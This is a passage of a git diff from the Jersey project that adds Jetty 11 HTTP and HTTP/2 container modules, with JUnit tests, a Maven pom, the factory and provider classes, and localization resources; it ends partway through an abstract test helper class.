@@ -0,0 +1,196 @@ +/* + * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2018 Markus KARG. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import static java.lang.Boolean.FALSE; +import static java.lang.Boolean.TRUE; +import static org.hamcrest.CoreMatchers.instanceOf; +import static org.hamcrest.CoreMatchers.is; +import static org.hamcrest.CoreMatchers.nullValue; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.greaterThan; + +import java.security.AccessController; +import java.security.NoSuchAlgorithmException; +import java.util.Collections; +import java.util.Set; +import java.util.concurrent.CompletionStage; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeUnit; +import java.util.logging.Level; +import java.util.logging.Logger; + +import javax.net.ssl.SSLContext; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.SeBootstrap; +import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.UriBuilder; + +import org.glassfish.jersey.internal.util.PropertiesHelper; +import org.glassfish.jersey.server.ServerProperties; +import org.glassfish.jersey.server.spi.Container; +import org.glassfish.jersey.server.spi.WebServer; +import org.glassfish.jersey.server.spi.WebServerProvider; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.Timeout; + +/** + * Unit tests for {@link JettyHttpServerProvider}. + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1.0 + */ +public final class JettyHttpServerProviderTest { + + @Test + @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS) + public void shouldProvideServer() throws InterruptedException, ExecutionException { + // given + final Resource resource = new Resource(); + shouldProvideServer(ShouldProvideServerApplication.class, resource); + } + + @Test + @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS) + public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException { + // given + final Resource resource = new Resource(); + final Application application = new ShouldProvideServerApplication(); + shouldProvideServer(application.getClass(), resource); + } + + private void shouldProvideServer(final Object application, final Resource resource) + throws InterruptedException, ExecutionException { + // given + final WebServerProvider webServerProvider = new JettyHttpServerProvider(); + final SeBootstrap.Configuration configuration = configuration(getPort(), FALSE); + + // when + final WebServer webServer = Application.class.isInstance(application) + ? webServerProvider.createServer(WebServer.class, (Application) application, configuration) + : webServerProvider.createServer(WebServer.class, (Class<Application>) application, configuration); + final Object nativeHandle = webServer.unwrap(Object.class); + final CompletionStage<?> start = webServer.start(); + final Object startResult = start.toCompletableFuture().get(); + final Container container = webServer.container(); + final int port = webServer.port(); + final String entity = ClientBuilder.newClient() + .target(UriBuilder.newInstance().scheme("http").host("localhost").port(port).build()).request() + .get(String.class); + final CompletionStage<?> stop = webServer.stop(); + final Object stopResult = stop.toCompletableFuture().get(); + + // then + assertThat(webServer, is(instanceOf(JettyHttpServer.class))); + assertThat(nativeHandle, is(instanceOf(org.eclipse.jetty.server.Server.class))); + assertThat(startResult, is(nullValue())); + assertThat(container, is(instanceOf(JettyHttpContainer.class))); + assertThat(port, is(greaterThan(0))); + assertThat(entity, is(resource.toString())); + assertThat(stopResult, is(nullValue())); + } + + @Path("/") + protected static final class Resource { + @GET + @Override + public String toString() { + return Resource.class.getName(); + } + } + + protected static class ShouldProvideServerApplication extends Application { + @Override + public Set<Object> getSingletons() { + return Collections.singleton(new Resource()); + } + } + + private static final Logger LOGGER = Logger.getLogger(JettyHttpServerProviderTest.class.getName()); + + private static final int DEFAULT_PORT = 0; + + private static int getPort() { + final String value = AccessController + .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port")); + if (value != null) { + try { + final int i = Integer.parseInt(value); + if (i < 0) { + throw new NumberFormatException("Value is negative."); + } + return i; + } catch (final NumberFormatException e) { + LOGGER.log(Level.CONFIG, + "Value of 'jersey.config.test.container.port'" + + " property is not a valid non-negative integer [" + value + "]." + + " Reverting to default [" + DEFAULT_PORT + "].", + e); + } + } + + return DEFAULT_PORT; + } + + @Test + @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS) + public final void shouldScanFreePort() throws InterruptedException, ExecutionException { + // given + final WebServerProvider webServerProvider = new JettyHttpServerProvider(); + final Application application = new Application(); + final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT, TRUE); + + // when + final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration); + + // then + assertThat(webServer.port(), is(greaterThan(0))); + } + + private SeBootstrap.Configuration configuration(int port, boolean autoStart) { + return (SeBootstrap.Configuration) name -> { + switch (name) { + case SeBootstrap.Configuration.PROTOCOL: + return "HTTP"; + case SeBootstrap.Configuration.HOST: + return "localhost"; + case SeBootstrap.Configuration.PORT: + return port; + case SeBootstrap.Configuration.ROOT_PATH: + return "/"; + case SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION: + return SSLClientAuthentication.NONE; + case SeBootstrap.Configuration.SSL_CONTEXT: + try { + return SSLContext.getDefault(); + } catch (final NoSuchAlgorithmException e) { + throw new RuntimeException(e); + } + case ServerProperties.WEBSERVER_AUTO_START: + return autoStart; + default: + return null; + } + }; + } + +} \ No newline at end of file
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java new file mode 100644 index 0000000..133bd25 --- /dev/null +++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java
@@ -0,0 +1,133 @@ +/* + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.spi.AbstractContainerLifecycleListener; +import org.glassfish.jersey.server.spi.Container; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Response; + +import static org.hamcrest.CoreMatchers.equalTo; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertTrue; + + +/** + * Reload and ContainerLifecycleListener support test. + * + * @author Paul Sandoz + * @author Marek Potociar + */ +public class LifecycleListenerTest extends AbstractJettyServerTester { + + @Path("/one") + public static class One { + @GET + public String get() { + return "one"; + } + } + + @Path("/two") + public static class Two { + @GET + public String get() { + return "two"; + } + } + + public static class Reloader extends AbstractContainerLifecycleListener { + Container container; + + public void reload(ResourceConfig newConfig) { + container.reload(newConfig); + } + + public void reload() { + container.reload(); + } + + @Override + public void onStartup(Container container) { + this.container = container; + } + + } + + @Test + public void testReload() { + final ResourceConfig rc = new ResourceConfig(One.class); + + Reloader reloader = new Reloader(); + rc.registerInstances(reloader); + + startServer(rc); + + Client client = ClientBuilder.newClient(); + WebTarget r = client.target(getUri().path("/").build()); + + assertEquals("one", r.path("one").request().get(String.class)); + assertEquals(404, r.path("two").request().get(Response.class).getStatus()); + + // add Two resource + reloader.reload(new ResourceConfig(One.class, Two.class)); + + assertEquals("one", r.path("one").request().get(String.class)); + assertEquals("two", r.path("two").request().get(String.class)); + } + + static class StartStopListener extends AbstractContainerLifecycleListener { + volatile boolean started; + volatile boolean stopped; + + @Override + public void onStartup(Container container) { + started = true; + } + + @Override + public void onShutdown(Container container) { + stopped = true; + } + } + + @Test + public void testStartupShutdownHooks() { + final StartStopListener listener = new StartStopListener(); + + startServer(new ResourceConfig(One.class).register(listener)); + + Client client = ClientBuilder.newClient(); + WebTarget r = client.target(getUri().path("/").build()); + + assertThat(r.path("one").request().get(String.class), equalTo("one")); + assertThat(r.path("two").request().get(Response.class).getStatus(), equalTo(404)); + + stopServer(); + + assertTrue(listener.started, "ContainerLifecycleListener.onStartup has not been called."); + assertTrue(listener.stopped, "ContainerLifecycleListener.onShutdown has not been called."); + } +}
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java new file mode 100644 index 0000000..5d9c627 --- /dev/null +++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java
@@ -0,0 +1,62 @@ +/* + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty; + +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.core.Response; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class OptionsTest extends AbstractJettyServerTester { + + @Path("helloworld") + public static class HelloWorldResource { + public static final String CLICHED_MESSAGE = "Hello World!"; + + @GET + @Produces("text/plain") + public String getHello() { + return CLICHED_MESSAGE; + } + } + + @Test + public void testFooBarOptions() { + startServer(HelloWorldResource.class); + Client client = ClientBuilder.newClient(); + Response response = client.target(getUri()).path("helloworld").request().header("Accept", "foo/bar").options(); + assertEquals(200, response.getStatus()); + final String allowHeader = response.getHeaderString("Allow"); + _checkAllowContent(allowHeader); + assertEquals(0, response.getLength()); + assertEquals("foo/bar", response.getMediaType().toString()); + } + + private void _checkAllowContent(final String content) { + assertTrue(content.contains("GET")); + assertTrue(content.contains("HEAD")); + assertTrue(content.contains("OPTIONS")); + } + +}
diff --git a/containers/jetty11-http2/pom.xml b/containers/jetty11-http2/pom.xml new file mode 100644 index 0000000..15a7d78 --- /dev/null +++ b/containers/jetty11-http2/pom.xml
@@ -0,0 +1,175 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!-- + + Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + + This program and the accompanying materials are made available under the + terms of the Eclipse Public License v. 2.0, which is available at + http://www.eclipse.org/legal/epl-2.0. + + This Source Code may also be made available under the following Secondary + Licenses when the conditions for such availability set forth in the + Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + version 2 with the GNU Classpath Exception, which is available at + https://www.gnu.org/software/classpath/license.html. + + SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + +--> + +<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> + <modelVersion>4.0.0</modelVersion> + + <parent> + <artifactId>project</artifactId> + <groupId>org.glassfish.jersey.containers</groupId> + <version>3.1.99-SNAPSHOT</version> + </parent> + + <artifactId>jersey-container-jetty11-http2</artifactId> + <packaging>jar</packaging> + <name>jersey-container-jetty11-http2</name> + + <description>Jetty 11 Http2 Container</description> + + <dependencyManagement> + <dependencies> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-server</artifactId> + <version>${jetty11.version}</version> + </dependency> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-util</artifactId> + <version>${jetty11.version}</version> + </dependency> + <dependency> + <groupId>org.eclipse.jetty.http2</groupId> + <artifactId>http2-server</artifactId> + <version>${jetty11.version}</version> + </dependency> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-alpn-conscrypt-server</artifactId> + <version>${jetty11.version}</version> + </dependency> + </dependencies> + </dependencyManagement> + + <dependencies> + <dependency> + <groupId>org.glassfish.jersey.containers</groupId> + <artifactId>jersey-container-jetty11-http</artifactId> + <version>${project.version}</version> + <exclusions> + <exclusion> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-server</artifactId> + </exclusion> + <exclusion> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-util</artifactId> + </exclusion> + </exclusions> + </dependency> + <dependency> + <groupId>jakarta.inject</groupId> + <artifactId>jakarta.inject-api</artifactId> + </dependency> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-server</artifactId> + <version>${jetty11.version}</version> + <exclusions> + <exclusion> + <groupId>org.slf4j</groupId> + <artifactId>slf4j-api</artifactId> + </exclusion> + </exclusions> + </dependency> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-util</artifactId> + <version>${jetty11.version}</version> + <exclusions> + <exclusion> + <groupId>org.slf4j</groupId> + <artifactId>slf4j-api</artifactId> + </exclusion> + </exclusions> + </dependency> + <dependency> + <groupId>org.eclipse.jetty.http2</groupId> + <artifactId>http2-server</artifactId> + <version>${jetty11.version}</version> + <exclusions> + <exclusion> + <groupId>org.slf4j</groupId> + <artifactId>slf4j-api</artifactId> + </exclusion> + <exclusion> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-server</artifactId> + </exclusion> + </exclusions> + </dependency> + <dependency> + <groupId>org.eclipse.jetty</groupId> + <artifactId>jetty-alpn-conscrypt-server</artifactId> + <version>${jetty11.version}</version> + <exclusions> + <exclusion> + <groupId>org.slf4j</groupId> + <artifactId>slf4j-api</artifactId> + </exclusion> + </exclusions> + </dependency> + <dependency> + <groupId>org.apache.httpcomponents</groupId> + <artifactId>httpclient</artifactId> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.hamcrest</groupId> + <artifactId>hamcrest</artifactId> + <scope>test</scope> + </dependency> + </dependencies> + + <build> + <plugins> + <plugin> + <groupId>com.sun.istack</groupId> + <artifactId>istack-commons-maven-plugin</artifactId> + <inherited>true</inherited> + </plugin> + <plugin> + <groupId>org.codehaus.mojo</groupId> + <artifactId>build-helper-maven-plugin</artifactId> + <inherited>true</inherited> + </plugin> + <plugin> + <groupId>org.apache.felix</groupId> + <artifactId>maven-bundle-plugin</artifactId> + <inherited>true</inherited> + <configuration> + <instructions> + <Import-Package> + ${jetty.osgi.version}, + * + </Import-Package> + </instructions> + </configuration> + </plugin> + </plugins> + + <resources> + <resource> + <directory>${basedir}/src/main/resources</directory> + <filtering>true</filtering> + </resource> + </resources> + </build> + +</project>
diff --git a/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerFactory.java b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerFactory.java new file mode 100644 index 0000000..ac8927c --- /dev/null +++ b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerFactory.java
@@ -0,0 +1,217 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import org.eclipse.jetty.alpn.server.ALPNServerConnectionFactory; +import org.eclipse.jetty.http2.server.HTTP2CServerConnectionFactory; +import org.eclipse.jetty.http2.server.HTTP2ServerConnectionFactory; +import org.eclipse.jetty.server.ConnectionFactory; +import org.eclipse.jetty.server.Connector; +import org.eclipse.jetty.server.HttpConfiguration; +import org.eclipse.jetty.server.HttpConnectionFactory; +import org.eclipse.jetty.server.Server; +import org.eclipse.jetty.server.ServerConnector; +import org.eclipse.jetty.server.SslConnectionFactory; +import org.eclipse.jetty.util.ssl.SslContextFactory; +import org.glassfish.jersey.jetty.Jetty11HttpContainer; +import org.glassfish.jersey.jetty.Jetty11HttpContainerFactory; +import org.glassfish.jersey.jetty.Jetty11HttpContainerProvider; +import org.glassfish.jersey.server.ContainerFactory; +import org.glassfish.jersey.server.ResourceConfig; + +import jakarta.ws.rs.ProcessingException; +import java.net.URI; +import java.util.ArrayList; +import java.util.List; + +public final class Jetty11Http2ContainerFactory { + + private Jetty11Http2ContainerFactory() { + + } + + /** + * Creates HTTP/2 enabled {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}. + * + * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path + * segment will be used as context path, the rest will be ignored. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createHttp2Server(final URI uri) throws ProcessingException { + return createHttp2Server(uri, null, null, true); + } + + /** + * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + * <p/> + * This implementation defers to the + * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method + * for creating an Container that manages the root resources. + * + * @param uri URI on which the Jersey web application will be deployed. Only first path segment will be + * used as context path, the rest will be ignored. + * @param configuration web application configuration. + * @param start if set to false, server will not get started, which allows to configure the underlying + * transport layer, see above for details. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + */ + public static Server createHttp2Server(final URI uri, final ResourceConfig configuration, final boolean start) + throws ProcessingException { + return createHttp2Server(uri, null, + ContainerFactory.createContainer(Jetty11HttpContainer.class, configuration), start); + } + + /** + * Creates HTTP/2 enabled {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}. + * + * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path + * segment will be used as context path, the rest will be ignored. + * @param start if set to false, server will not get started, which allows to configure the underlying transport + * layer, see above for details. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + * + * @since 2.40 + */ + + public static Server createHttp2Server(final URI uri, final boolean start) throws ProcessingException { + return createHttp2Server(uri, null, null, start); + } + + /** + * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes declared by the + * resource configuration. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to "https". The URI user information and host + * are ignored If the URI port is not present then port 143 will be + * used. The URI path, query and fragment components are ignored. + * @param config the resource configuration. + * @param parentContext DI provider specific context with application's registered bindings. + * @param start if set to false, server will not get started, this allows end users to set + * additional properties on the underlying listener. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + * @see Jetty11HttpContainer + * + * @since 2.40 + */ + public static Server createHttp2Server(final URI uri, final ResourceConfig config, final boolean start, + final Object parentContext) { + return createHttp2Server(uri, null, + new Jetty11HttpContainerProvider().createContainer(Jetty11HttpContainer.class, + config, parentContext), start); + } + + /** + * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that + * in turn manages all root resource and provider classes found by searching the + * classes referenced in the java classpath. + * + * @param uri the URI to create the http server. The URI scheme must be + * equal to {@code https}. The URI user information and host + * are ignored. If the URI port is not present then port + * {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be + * used. The URI path, query and fragment components are ignored. + * @param sslContextFactory this is the SSL context factory used to configure SSL connector + * @param handler the container that handles all HTTP requests + * @param start if set to false, server will not get started, this allows end users to set + * additional properties on the underlying listener. + * @return newly created {@link Server}. + * + * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance. + * @throws IllegalArgumentException if {@code uri} is {@code null}. + * @see Jetty11HttpContainer + * + * @since 2.40 + */ + public static Server createHttp2Server(final URI uri, + final SslContextFactory.Server sslContextFactory, + final Jetty11HttpContainer handler, + final boolean start) { + + /** + * Creating basic Jetty HTTP/1.1 container (but always not started) + */ + final Server server = Jetty11HttpContainerFactory.createServer(uri, sslContextFactory, handler, false); + /** + * Obtain configured HTTP connection factory + */ + final ServerConnector httpServerConnector = (ServerConnector) server.getConnectors()[0]; + final HttpConnectionFactory httpConnectionFactory = httpServerConnector.getConnectionFactory(HttpConnectionFactory.class); + + /** + * Obtain prepared config + */ + final HttpConfiguration config = httpConnectionFactory.getHttpConfiguration(); + + /** + * Add required H2/H2C connection factories using pre-configured config from the HTTP/1.1 server + */ + final List<ConnectionFactory> factories = getConnectionFactories(config, sslContextFactory); + + /** + * adding connection factories for H2/H2C protocol + */ + for (final ConnectionFactory factory : factories) { + httpServerConnector.addConnectionFactory(factory); + } + server.setConnectors(new Connector[]{httpServerConnector}); + + /** + * Starting the server if required + */ + if (start) { + try { + // Start the server. + server.start(); + } catch (final Exception e) { + throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e); + } + } + return server; + } + + private static List<ConnectionFactory> getConnectionFactories(final HttpConfiguration config, + final SslContextFactory.Server sslContextFactory) { + final List<ConnectionFactory> factories = new ArrayList<>(); + if (sslContextFactory != null) { + factories.add(new HTTP2ServerConnectionFactory(config)); + final ALPNServerConnectionFactory alpn = new ALPNServerConnectionFactory(); + alpn.setDefaultProtocol("h2"); + factories.add(new SslConnectionFactory(sslContextFactory, alpn.getProtocol())); + factories.add(alpn); + } else { + factories.add(new HTTP2CServerConnectionFactory(config)); + } + + return factories; + } +}
diff --git a/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerProvider.java b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerProvider.java new file mode 100644 index 0000000..edc461e --- /dev/null +++ b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerProvider.java
@@ -0,0 +1,43 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import org.glassfish.jersey.internal.util.JdkVersion; +import org.glassfish.jersey.jetty.Jetty11HttpContainer; +import org.glassfish.jersey.jetty.Jetty11HttpContainerProvider; +import org.glassfish.jersey.jetty.internal.LocalizationMessages; +import org.glassfish.jersey.server.spi.ContainerProvider; + +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.core.Application; + +import static org.glassfish.jersey.jetty.Jetty11HttpContainerProvider.HANDLER_NAME; + +public final class Jetty11Http2ContainerProvider implements ContainerProvider { + + @Override + public <T> T createContainer(final Class<T> type, final Application application) throws ProcessingException { + if (JdkVersion.getJdkVersion().getMajor() < 11) { + throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED()); + } + if (type != null && (HANDLER_NAME.equalsIgnoreCase(type.getCanonicalName()) || Jetty11HttpContainer.class == type)) { + return type.cast(new Jetty11HttpContainerProvider().createContainer(Jetty11HttpContainer.class, application)); + } + return null; + } +} +
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/package-info.java similarity index 77% copy from core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java copy to containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/package-info.java index dd25372..a402b27 100644 --- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java +++ b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/package-info.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -14,7 +14,7 @@ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 */ -package org.glassfish.jersey.internal.jsr166; - -public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T> { -} +/** + * Jersey Jetty HTTP2 container classes. + */ +package org.glassfish.jersey.jetty.http2;
diff --git a/containers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider b/containers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider new file mode 100644 index 0000000..2cd5dda --- /dev/null +++ b/containers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
@@ -0,0 +1 @@ +org.glassfish.jersey.jetty.http2.Jetty11Http2ContainerProvider
diff --git a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties b/containers/jetty11-http2/src/main/resources/org/glassfish/jersey/jetty11/http2/localization.properties similarity index 89% copy from test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties copy to containers/jetty11-http2/src/main/resources/org/glassfish/jersey/jetty11/http2/localization.properties index 2886c72..ba290bd 100644 --- a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties +++ b/containers/jetty11-http2/src/main/resources/org/glassfish/jersey/jetty11/http2/localization.properties
@@ -15,4 +15,5 @@ # # {0} - status code; {1} - status reason message -not.supported=Jetty container is not supported on JDK version less than 11. +error.when.creating.server=Exception thrown when trying to create jetty server. +not.supported=Jetty container is not supported on JDK version less than 17. \ No newline at end of file
diff --git a/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AbstractJetty11ServerTester.java b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AbstractJetty11ServerTester.java new file mode 100644 index 0000000..1911add --- /dev/null +++ b/containers/jetty11-http2/src/test/java/org/glassfish/jersey/jetty11/http2/AbstractJetty11ServerTester.java
@@ -0,0 +1,126 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2; + +import java.net.URI; +import java.security.AccessController; +import java.util.logging.Level; +import java.util.logging.Logger; + +import jakarta.ws.rs.RuntimeType; +import jakarta.ws.rs.core.UriBuilder; + +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.internal.util.PropertiesHelper; +import org.glassfish.jersey.server.ResourceConfig; + +import org.eclipse.jetty.server.Server; +import org.junit.jupiter.api.AfterEach; + +/** + * Abstract Jetty Server unit tester. + * + * @author Paul Sandoz + * @author Arul Dhesiaseelan (aruld at acm.org) + * @author Miroslav Fuksa + */ +public abstract class AbstractJetty11ServerTester { + + private static final Logger LOGGER = Logger.getLogger(AbstractJetty11ServerTester.class.getName()); + + public static final String CONTEXT = ""; + private static final int DEFAULT_PORT = 0; // rather Jetty choose than 9998 + + /** + * Get the port to be used for test application deployments. + * + * @return The HTTP port of the URI + */ + protected final int getPort() { + final String value = AccessController + .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port")); + if (value != null) { + + try { + final int i = Integer.parseInt(value); + if (i <= 0) { + throw new NumberFormatException("Value not positive."); + } + return i; + } catch (NumberFormatException e) { + LOGGER.log(Level.CONFIG, + "Value of 'jersey.config.test.container.port'" + + " property is not a valid positive integer [" + value + "]." + + " Reverting to default [" + DEFAULT_PORT + "].", + e); + } + } + return DEFAULT_PORT; + } + + private final int getPort(RuntimeType runtimeType) 